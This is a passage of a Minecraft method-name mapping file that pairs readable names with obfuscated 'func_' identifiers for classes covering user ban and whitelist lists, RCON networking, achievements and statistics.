(Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserList$Serializer/serialize (Lnet/minecraft/server/management/UserListEntry;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/server/management/UserList$Serializer/serialize (Lnet/minecraft/server/management/UserListEntry;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/server/management/UserList$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/server/management/UserList$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/server/management/UserList$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/server/management/UserList$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/server/management/UserList/getKeys ()[Ljava/lang/String; net/minecraft/server/management/UserList/func_152685_a ()[Ljava/lang/String; +MD: net/minecraft/server/management/UserList/createEntry (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserList/func_152682_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserList/getObjectKey (Ljava/lang/Object;)Ljava/lang/String; net/minecraft/server/management/UserList/func_152681_a (Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/server/management/UserList/addEntry (Lnet/minecraft/server/management/UserListEntry;)V net/minecraft/server/management/UserList/func_152687_a (Lnet/minecraft/server/management/UserListEntry;)V +MD: net/minecraft/server/management/UserList/setLanServer (Z)V net/minecraft/server/management/UserList/func_152686_a (Z)V +MD: net/minecraft/server/management/UserList/isLanServer ()Z net/minecraft/server/management/UserList/func_152689_b ()Z +MD: net/minecraft/server/management/UserList/getEntry (Ljava/lang/Object;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserList/func_152683_b (Ljava/lang/Object;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserList/getSaveFile ()Ljava/io/File; net/minecraft/server/management/UserList/func_152691_c ()Ljava/io/File; +MD: net/minecraft/server/management/UserList/removeEntry (Ljava/lang/Object;)V net/minecraft/server/management/UserList/func_152684_c (Ljava/lang/Object;)V +MD: net/minecraft/server/management/UserList/isEmpty ()Z net/minecraft/server/management/UserList/func_152690_d ()Z +MD: net/minecraft/server/management/UserList/hasEntry (Ljava/lang/Object;)Z net/minecraft/server/management/UserList/func_152692_d (Ljava/lang/Object;)Z +MD: net/minecraft/server/management/UserList/getValues ()Ljava/util/Map; net/minecraft/server/management/UserList/func_152688_e ()Ljava/util/Map; +MD: net/minecraft/server/management/UserList/writeChanges ()V net/minecraft/server/management/UserList/func_152678_f ()V +MD: net/minecraft/server/management/UserList/readSavedFile ()V net/minecraft/server/management/UserList/func_152679_g ()V +MD: net/minecraft/server/management/UserList/removeExpired ()V net/minecraft/server/management/UserList/func_152680_h ()V +MD: net/minecraft/server/management/UserListBans/getKeys ()[Ljava/lang/String; net/minecraft/server/management/UserListBans/func_152685_a ()[Ljava/lang/String; +MD: net/minecraft/server/management/UserListBans/createEntry (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserListBans/func_152682_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserListBans/isBanned (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/UserListBans/func_152702_a (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/UserListBans/getObjectKey (Ljava/lang/Object;)Ljava/lang/String; net/minecraft/server/management/UserListBans/func_152681_a (Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListBans/isUsernameBanned (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListBans/func_152703_a (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/UserListBans/getObjectKey (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/management/UserListBans/func_152681_a (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListBansEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/UserListBansEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/UserListBansEntry/toGameProfile (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListBansEntry/func_152648_b (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/UserListWhitelist/getKeys ()[Ljava/lang/String; net/minecraft/server/management/UserListWhitelist/func_152685_a ()[Ljava/lang/String; +MD: net/minecraft/server/management/UserListWhitelist/createEntry (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserListWhitelist/func_152682_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserListWhitelist/isWhitelisted (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/UserListWhitelist/func_152705_a (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/UserListWhitelist/getObjectKey (Ljava/lang/Object;)Ljava/lang/String; net/minecraft/server/management/UserListWhitelist/func_152681_a (Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListWhitelist/getBannedProfile (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListWhitelist/func_152706_a (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/UserListWhitelist/getObjectKey (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/management/UserListWhitelist/func_152681_a (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListWhitelistEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/UserListWhitelistEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/UserListWhitelistEntry/gameProfileFromJsonObject (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListWhitelistEntry/func_152646_b (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/network/rcon/RConOutputStream/toByteArray ()[B net/minecraft/network/rcon/RConOutputStream/func_72672_a ()[B +MD: net/minecraft/network/rcon/RConOutputStream/writeInt (I)V net/minecraft/network/rcon/RConOutputStream/func_72667_a (I)V +MD: net/minecraft/network/rcon/RConOutputStream/writeString (Ljava/lang/String;)V net/minecraft/network/rcon/RConOutputStream/func_72671_a (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/RConOutputStream/writeShort (S)V net/minecraft/network/rcon/RConOutputStream/func_72668_a (S)V +MD: net/minecraft/network/rcon/RConOutputStream/writeByteArray ([B)V net/minecraft/network/rcon/RConOutputStream/func_72670_a ([B)V +MD: net/minecraft/network/rcon/RConOutputStream/reset ()V net/minecraft/network/rcon/RConOutputStream/func_72669_b ()V +MD: net/minecraft/network/rcon/RConUtils/getByteAsHexString (B)Ljava/lang/String; net/minecraft/network/rcon/RConUtils/func_72663_a (B)Ljava/lang/String; +MD: net/minecraft/network/rcon/RConUtils/getBytesAsString ([BII)Ljava/lang/String; net/minecraft/network/rcon/RConUtils/func_72661_a ([BII)Ljava/lang/String; +MD: net/minecraft/network/rcon/RConUtils/getRemainingBytesAsLEInt ([BI)I net/minecraft/network/rcon/RConUtils/func_72662_b ([BI)I +MD: net/minecraft/network/rcon/RConUtils/getBytesAsLEInt ([BII)I net/minecraft/network/rcon/RConUtils/func_72665_b ([BII)I +MD: net/minecraft/network/rcon/RConUtils/getBytesAsBEint ([BII)I net/minecraft/network/rcon/RConUtils/func_72664_c ([BII)I +MD: net/minecraft/network/rcon/RConConsoleSource/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/network/rcon/RConConsoleSource/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/network/rcon/RConConsoleSource/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/rcon/RConConsoleSource/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/network/rcon/RConConsoleSource/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/network/rcon/RConConsoleSource/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/network/rcon/RConConsoleSource/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/rcon/RConConsoleSource/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/rcon/RConConsoleSource/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/network/rcon/RConConsoleSource/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/network/rcon/RConConsoleSource/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/network/rcon/RConConsoleSource/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/network/rcon/RConConsoleSource/getName ()Ljava/lang/String; net/minecraft/network/rcon/RConConsoleSource/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/network/rcon/RConConsoleSource/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/network/rcon/RConConsoleSource/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/rcon/RConConsoleSource/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/rcon/RConConsoleSource/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/rcon/RConConsoleSource/getInstance ()Lnet/minecraft/network/rcon/RConConsoleSource; net/minecraft/network/rcon/RConConsoleSource/func_175570_h ()Lnet/minecraft/network/rcon/RConConsoleSource; +MD: net/minecraft/network/rcon/RConConsoleSource/resetLog ()V net/minecraft/network/rcon/RConConsoleSource/func_70007_b ()V +MD: net/minecraft/network/rcon/RConConsoleSource/getLogContents ()Ljava/lang/String; net/minecraft/network/rcon/RConConsoleSource/func_70008_c ()Ljava/lang/String; +MD: net/minecraft/network/rcon/RConConsoleSource/sendCommandFeedback ()Z net/minecraft/network/rcon/RConConsoleSource/func_174792_t_ ()Z +MD: net/minecraft/network/rcon/RConThreadBase/startThread ()V net/minecraft/network/rcon/RConThreadBase/func_72602_a ()V +MD: net/minecraft/network/rcon/RConThreadBase/logDebug (Ljava/lang/String;)V net/minecraft/network/rcon/RConThreadBase/func_72607_a (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadBase/registerSocket (Ljava/net/DatagramSocket;)V net/minecraft/network/rcon/RConThreadBase/func_72601_a (Ljava/net/DatagramSocket;)V +MD: net/minecraft/network/rcon/RConThreadBase/closeSocket (Ljava/net/DatagramSocket;Z)Z net/minecraft/network/rcon/RConThreadBase/func_72604_a (Ljava/net/DatagramSocket;Z)Z +MD: net/minecraft/network/rcon/RConThreadBase/closeServerSocket_do (Ljava/net/ServerSocket;Z)Z net/minecraft/network/rcon/RConThreadBase/func_72605_a (Ljava/net/ServerSocket;Z)Z +MD: net/minecraft/network/rcon/RConThreadBase/closeAllSockets_do (Z)V net/minecraft/network/rcon/RConThreadBase/func_72612_a (Z)V +MD: net/minecraft/network/rcon/RConThreadBase/logInfo (Ljava/lang/String;)V net/minecraft/network/rcon/RConThreadBase/func_72609_b (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadBase/closeServerSocket (Ljava/net/ServerSocket;)Z net/minecraft/network/rcon/RConThreadBase/func_72608_b (Ljava/net/ServerSocket;)Z +MD: net/minecraft/network/rcon/RConThreadBase/isRunning ()Z net/minecraft/network/rcon/RConThreadBase/func_72613_c ()Z +MD: net/minecraft/network/rcon/RConThreadBase/logWarning (Ljava/lang/String;)V net/minecraft/network/rcon/RConThreadBase/func_72606_c (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadBase/getNumberOfPlayers ()I net/minecraft/network/rcon/RConThreadBase/func_72603_d ()I +MD: net/minecraft/network/rcon/RConThreadBase/logSevere (Ljava/lang/String;)V net/minecraft/network/rcon/RConThreadBase/func_72610_d (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadBase/closeAllSockets ()V net/minecraft/network/rcon/RConThreadBase/func_72611_e ()V +MD: net/minecraft/network/rcon/RConThreadQuery$Auth/getRandomChallenge ()I net/minecraft/network/rcon/RConThreadQuery$Auth/func_72592_a ()I +MD: net/minecraft/network/rcon/RConThreadQuery$Auth/hasExpired (J)Ljava/lang/Boolean; net/minecraft/network/rcon/RConThreadQuery$Auth/func_72593_a (J)Ljava/lang/Boolean; +MD: net/minecraft/network/rcon/RConThreadQuery$Auth/getChallengeValue ()[B net/minecraft/network/rcon/RConThreadQuery$Auth/func_72594_b ()[B +MD: net/minecraft/network/rcon/RConThreadQuery$Auth/getRequestId ()[B net/minecraft/network/rcon/RConThreadQuery$Auth/func_72591_c ()[B +MD: net/minecraft/network/rcon/RConThreadQuery/startThread ()V net/minecraft/network/rcon/RConThreadQuery/func_72602_a ()V +MD: net/minecraft/network/rcon/RConThreadQuery/stopWithException (Ljava/lang/Exception;)V net/minecraft/network/rcon/RConThreadQuery/func_72623_a (Ljava/lang/Exception;)V +MD: net/minecraft/network/rcon/RConThreadQuery/parseIncomingPacket (Ljava/net/DatagramPacket;)Z net/minecraft/network/rcon/RConThreadQuery/func_72621_a (Ljava/net/DatagramPacket;)Z +MD: net/minecraft/network/rcon/RConThreadQuery/getRequestID (Ljava/net/SocketAddress;)[B net/minecraft/network/rcon/RConThreadQuery/func_72625_a (Ljava/net/SocketAddress;)[B +MD: net/minecraft/network/rcon/RConThreadQuery/sendResponsePacket ([BLjava/net/DatagramPacket;)V net/minecraft/network/rcon/RConThreadQuery/func_72620_a ([BLjava/net/DatagramPacket;)V +MD: net/minecraft/network/rcon/RConThreadQuery/createQueryResponse (Ljava/net/DatagramPacket;)[B net/minecraft/network/rcon/RConThreadQuery/func_72624_b (Ljava/net/DatagramPacket;)[B +MD: net/minecraft/network/rcon/RConThreadQuery/verifyClientAuth (Ljava/net/DatagramPacket;)Ljava/lang/Boolean; net/minecraft/network/rcon/RConThreadQuery/func_72627_c (Ljava/net/DatagramPacket;)Ljava/lang/Boolean; +MD: net/minecraft/network/rcon/RConThreadQuery/sendAuthChallenge (Ljava/net/DatagramPacket;)V net/minecraft/network/rcon/RConThreadQuery/func_72622_d (Ljava/net/DatagramPacket;)V +MD: net/minecraft/network/rcon/RConThreadQuery/cleanQueryClientsMap ()V net/minecraft/network/rcon/RConThreadQuery/func_72628_f ()V +MD: net/minecraft/network/rcon/RConThreadQuery/initQuerySystem ()Z net/minecraft/network/rcon/RConThreadQuery/func_72626_g ()Z +MD: net/minecraft/network/rcon/RConThreadQuery/run ()V net/minecraft/network/rcon/RConThreadQuery/run ()V +MD: net/minecraft/network/rcon/RConThreadClient/sendResponse (IILjava/lang/String;)V net/minecraft/network/rcon/RConThreadClient/func_72654_a (IILjava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadClient/sendMultipacketResponse (ILjava/lang/String;)V net/minecraft/network/rcon/RConThreadClient/func_72655_a (ILjava/lang/String;)V +MD: net/minecraft/network/rcon/RConThreadClient/sendLoginFailedResponse ()V net/minecraft/network/rcon/RConThreadClient/func_72656_f ()V +MD: net/minecraft/network/rcon/RConThreadClient/closeSocket ()V net/minecraft/network/rcon/RConThreadClient/func_72653_g ()V +MD: net/minecraft/network/rcon/RConThreadClient/run ()V net/minecraft/network/rcon/RConThreadClient/run ()V +MD: net/minecraft/network/rcon/RConThreadMain/startThread ()V net/minecraft/network/rcon/RConThreadMain/func_72602_a ()V +MD: net/minecraft/network/rcon/RConThreadMain/initClientThreadList ()V net/minecraft/network/rcon/RConThreadMain/func_72646_f ()V +MD: net/minecraft/network/rcon/RConThreadMain/cleanClientThreadsMap ()V net/minecraft/network/rcon/RConThreadMain/func_72645_g ()V +MD: net/minecraft/network/rcon/RConThreadMain/run ()V net/minecraft/network/rcon/RConThreadMain/run ()V +MD: net/minecraft/stats/Achievement/initIndependentStat ()Lnet/minecraft/stats/Achievement; net/minecraft/stats/Achievement/func_75966_h ()Lnet/minecraft/stats/Achievement; +MD: net/minecraft/stats/Achievement/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/Achievement; net/minecraft/stats/Achievement/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/Achievement; +MD: net/minecraft/stats/Achievement/setStatStringFormatter (Lnet/minecraft/stats/IStatStringFormat;)Lnet/minecraft/stats/Achievement; net/minecraft/stats/Achievement/func_75988_a (Lnet/minecraft/stats/IStatStringFormat;)Lnet/minecraft/stats/Achievement; +MD: net/minecraft/stats/Achievement/setSpecial ()Lnet/minecraft/stats/Achievement; net/minecraft/stats/Achievement/func_75987_b ()Lnet/minecraft/stats/Achievement; +MD: net/minecraft/stats/Achievement/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/StatBase; net/minecraft/stats/Achievement/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/Achievement/registerStat ()Lnet/minecraft/stats/Achievement; net/minecraft/stats/Achievement/func_75971_g ()Lnet/minecraft/stats/Achievement; +MD: net/minecraft/stats/Achievement/isAchievement ()Z net/minecraft/stats/Achievement/func_75967_d ()Z +MD: net/minecraft/stats/Achievement/getStatName ()Lnet/minecraft/util/IChatComponent; net/minecraft/stats/Achievement/func_150951_e ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/stats/Achievement/getDescription ()Ljava/lang/String; net/minecraft/stats/Achievement/func_75989_e ()Ljava/lang/String; +MD: net/minecraft/stats/Achievement/getSpecial ()Z net/minecraft/stats/Achievement/func_75984_f ()Z +MD: net/minecraft/stats/Achievement/registerStat ()Lnet/minecraft/stats/StatBase; net/minecraft/stats/Achievement/func_75971_g ()Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/Achievement/initIndependentStat ()Lnet/minecraft/stats/StatBase; net/minecraft/stats/Achievement/func_75966_h ()Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/AchievementList/init ()V net/minecraft/stats/AchievementList/func_75997_a ()V +MD: net/minecraft/stats/IStatStringFormat/formatString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/stats/IStatStringFormat/func_74535_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/stats/StatBasic/registerStat ()Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatBasic/func_75971_g ()Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatCrafting/func_150959_a ()Lnet/minecraft/item/Item; net/minecraft/stats/StatCrafting/func_150959_a ()Lnet/minecraft/item/Item; +MD: net/minecraft/stats/StatisticsFile/readStatFile ()V net/minecraft/stats/StatisticsFile/func_150882_a ()V +MD: net/minecraft/stats/StatisticsFile/parseJson (Ljava/lang/String;)Ljava/util/Map; net/minecraft/stats/StatisticsFile/func_150881_a (Ljava/lang/String;)Ljava/util/Map; +MD: net/minecraft/stats/StatisticsFile/dumpJson (Ljava/util/Map;)Ljava/lang/String; net/minecraft/stats/StatisticsFile/func_150880_a (Ljava/util/Map;)Ljava/lang/String; +MD: net/minecraft/stats/StatisticsFile/func_150876_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/stats/StatisticsFile/func_150876_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/stats/StatisticsFile/unlockAchievement (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V net/minecraft/stats/StatisticsFile/func_150873_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/stats/StatisticsFile/saveStatFile ()V net/minecraft/stats/StatisticsFile/func_150883_b ()V +MD: net/minecraft/stats/StatisticsFile/sendAchievements (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/stats/StatisticsFile/func_150884_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/stats/StatisticsFile/func_150878_c ()Ljava/util/Set; net/minecraft/stats/StatisticsFile/func_150878_c ()Ljava/util/Set; +MD: net/minecraft/stats/StatisticsFile/func_150877_d ()V net/minecraft/stats/StatisticsFile/func_150877_d ()V +MD: net/minecraft/stats/StatisticsFile/func_150879_e ()Z net/minecraft/stats/StatisticsFile/func_150879_e ()Z +MD: net/minecraft/stats/StatBase$1/format (I)Ljava/lang/String; net/minecraft/stats/StatBase$1/func_75843_a (I)Ljava/lang/String; +MD: net/minecraft/stats/StatBase$2/format (I)Ljava/lang/String; net/minecraft/stats/StatBase$2/func_75843_a (I)Ljava/lang/String; +MD: net/minecraft/stats/StatBase$3/format (I)Ljava/lang/String; net/minecraft/stats/StatBase$3/func_75843_a (I)Ljava/lang/String; +MD: net/minecraft/stats/StatBase$4/format (I)Ljava/lang/String; net/minecraft/stats/StatBase$4/func_75843_a (I)Ljava/lang/String; +MD: net/minecraft/stats/StatBase/format (I)Ljava/lang/String; net/minecraft/stats/StatBase/func_75968_a (I)Ljava/lang/String; +MD: net/minecraft/stats/StatBase/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatBase/func_150953_b (Ljava/lang/Class;)Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatBase/isAchievement ()Z net/minecraft/stats/StatBase/func_75967_d ()Z +MD: net/minecraft/stats/StatBase/getStatName ()Lnet/minecraft/util/IChatComponent; net/minecraft/stats/StatBase/func_150951_e ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/stats/StatBase/equals (Ljava/lang/Object;)Z net/minecraft/stats/StatBase/equals (Ljava/lang/Object;)Z +MD: net/minecraft/stats/StatBase/registerStat ()Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatBase/func_75971_g ()Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatBase/hashCode ()I net/minecraft/stats/StatBase/hashCode ()I +MD: net/minecraft/stats/StatBase/initIndependentStat ()Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatBase/func_75966_h ()Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatBase/createChatComponent ()Lnet/minecraft/util/IChatComponent; net/minecraft/stats/StatBase/func_150955_j ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/stats/StatBase/getCriteria ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria; net/minecraft/stats/StatBase/func_150952_k ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria; +MD: net/minecraft/stats/StatBase/func_150954_l ()Ljava/lang/Class; net/minecraft/stats/StatBase/func_150954_l ()Ljava/lang/Class; +MD: net/minecraft/stats/StatBase/access$000 ()Ljava/text/NumberFormat; net/minecraft/stats/StatBase/access$000 ()Ljava/text/NumberFormat; +MD: net/minecraft/stats/StatBase/access$100 ()Ljava/text/DecimalFormat; net/minecraft/stats/StatBase/access$100 ()Ljava/text/DecimalFormat; +MD: net/minecraft/stats/StatBase/toString ()Ljava/lang/String; net/minecraft/stats/StatBase/toString ()Ljava/lang/String; +MD: net/minecraft/stats/IStatType/format (I)Ljava/lang/String; net/minecraft/stats/IStatType/func_75843_a (I)Ljava/lang/String; +MD: net/minecraft/util/TupleIntJsonSerializable/getIntegerValue ()I net/minecraft/util/TupleIntJsonSerializable/func_151189_a ()I +MD: net/minecraft/util/TupleIntJsonSerializable/setIntegerValue (I)V net/minecraft/util/TupleIntJsonSerializable/func_151188_a (I)V +MD: net/minecraft/util/TupleIntJsonSerializable/setJsonSerializableValue (Lnet/minecraft/util/IJsonSerializable;)V net/minecraft/util/TupleIntJsonSerializable/func_151190_a (Lnet/minecraft/util/IJsonSerializable;)V +MD: net/minecraft/util/TupleIntJsonSerializable/getJsonSerializableValue ()Lnet/minecraft/util/IJsonSerializable; net/minecraft/util/TupleIntJsonSerializable/func_151187_b ()Lnet/minecraft/util/IJsonSerializable; +MD: net/minecraft/util/IJsonSerializable/getSerializableElement ()Lcom/google/gson/JsonElement; net/minecraft/util/IJsonSerializable/func_151003_a ()Lcom/google/gson/JsonElement; +MD: net/minecraft/util/IJsonSerializable/fromJson (Lcom/google/gson/JsonElement;)V net/minecraft/util/IJsonSerializable/func_152753_a (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/command/CommandResultStats$1/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/command/CommandResultStats$1/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/command/CommandResultStats$1/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/command/CommandResultStats$1/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/command/CommandResultStats$1/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/command/CommandResultStats$1/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/command/CommandResultStats$1/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/command/CommandResultStats$1/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/command/CommandResultStats$1/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/command/CommandResultStats$1/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/command/CommandResultStats$1/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/command/CommandResultStats$1/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/command/CommandResultStats$1/getName ()Ljava/lang/String; net/minecraft/command/CommandResultStats$1/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/command/CommandResultStats$1/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/command/CommandResultStats$1/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/CommandResultStats$1/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/command/CommandResultStats$1/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/CommandResultStats$1/sendCommandFeedback ()Z net/minecraft/command/CommandResultStats$1/func_174792_t_ ()Z +MD: net/minecraft/command/CommandResultStats$Type/getTypeID ()I net/minecraft/command/CommandResultStats$Type/func_179636_a ()I +MD: net/minecraft/command/CommandResultStats$Type/getTypeByName (Ljava/lang/String;)Lnet/minecraft/command/CommandResultStats$Type; net/minecraft/command/CommandResultStats$Type/func_179635_a (Ljava/lang/String;)Lnet/minecraft/command/CommandResultStats$Type; +MD: net/minecraft/command/CommandResultStats$Type/getTypeName ()Ljava/lang/String; net/minecraft/command/CommandResultStats$Type/func_179637_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandResultStats$Type/getTypeNames ()[Ljava/lang/String; net/minecraft/command/CommandResultStats$Type/func_179634_c ()[Ljava/lang/String; +MD: net/minecraft/command/CommandResultStats$Type/values ()[Lnet/minecraft/command/CommandResultStats$Type; net/minecraft/command/CommandResultStats$Type/values ()[Lnet/minecraft/command/CommandResultStats$Type; +MD: net/minecraft/command/CommandResultStats/readStatsFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/command/CommandResultStats/func_179668_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/command/CommandResultStats/setCommandStatScore (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/command/CommandResultStats/func_179672_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/command/CommandResultStats/addAllStats (Lnet/minecraft/command/CommandResultStats;)V net/minecraft/command/CommandResultStats/func_179671_a (Lnet/minecraft/command/CommandResultStats;)V +MD: net/minecraft/command/CommandResultStats/removeScoreBoardStat (Lnet/minecraft/command/CommandResultStats;Lnet/minecraft/command/CommandResultStats$Type;)V net/minecraft/command/CommandResultStats/func_179669_a (Lnet/minecraft/command/CommandResultStats;Lnet/minecraft/command/CommandResultStats$Type;)V +MD: net/minecraft/command/CommandResultStats/setScoreBoardStat (Lnet/minecraft/command/CommandResultStats;Lnet/minecraft/command/CommandResultStats$Type;Ljava/lang/String;Ljava/lang/String;)V net/minecraft/command/CommandResultStats/func_179667_a (Lnet/minecraft/command/CommandResultStats;Lnet/minecraft/command/CommandResultStats$Type;Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/command/CommandResultStats/writeStatsToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/command/CommandResultStats/func_179670_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/stats/StatList/init ()V net/minecraft/stats/StatList/func_151178_a ()V +MD: net/minecraft/stats/StatList/getOneShotStat (Ljava/lang/String;)Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatList/func_151177_a (Ljava/lang/String;)Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatList/getStatKillEntity (Lnet/minecraft/entity/EntityList$EntityEggInfo;)Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatList/func_151182_a (Lnet/minecraft/entity/EntityList$EntityEggInfo;)Lnet/minecraft/stats/StatBase; +MD: 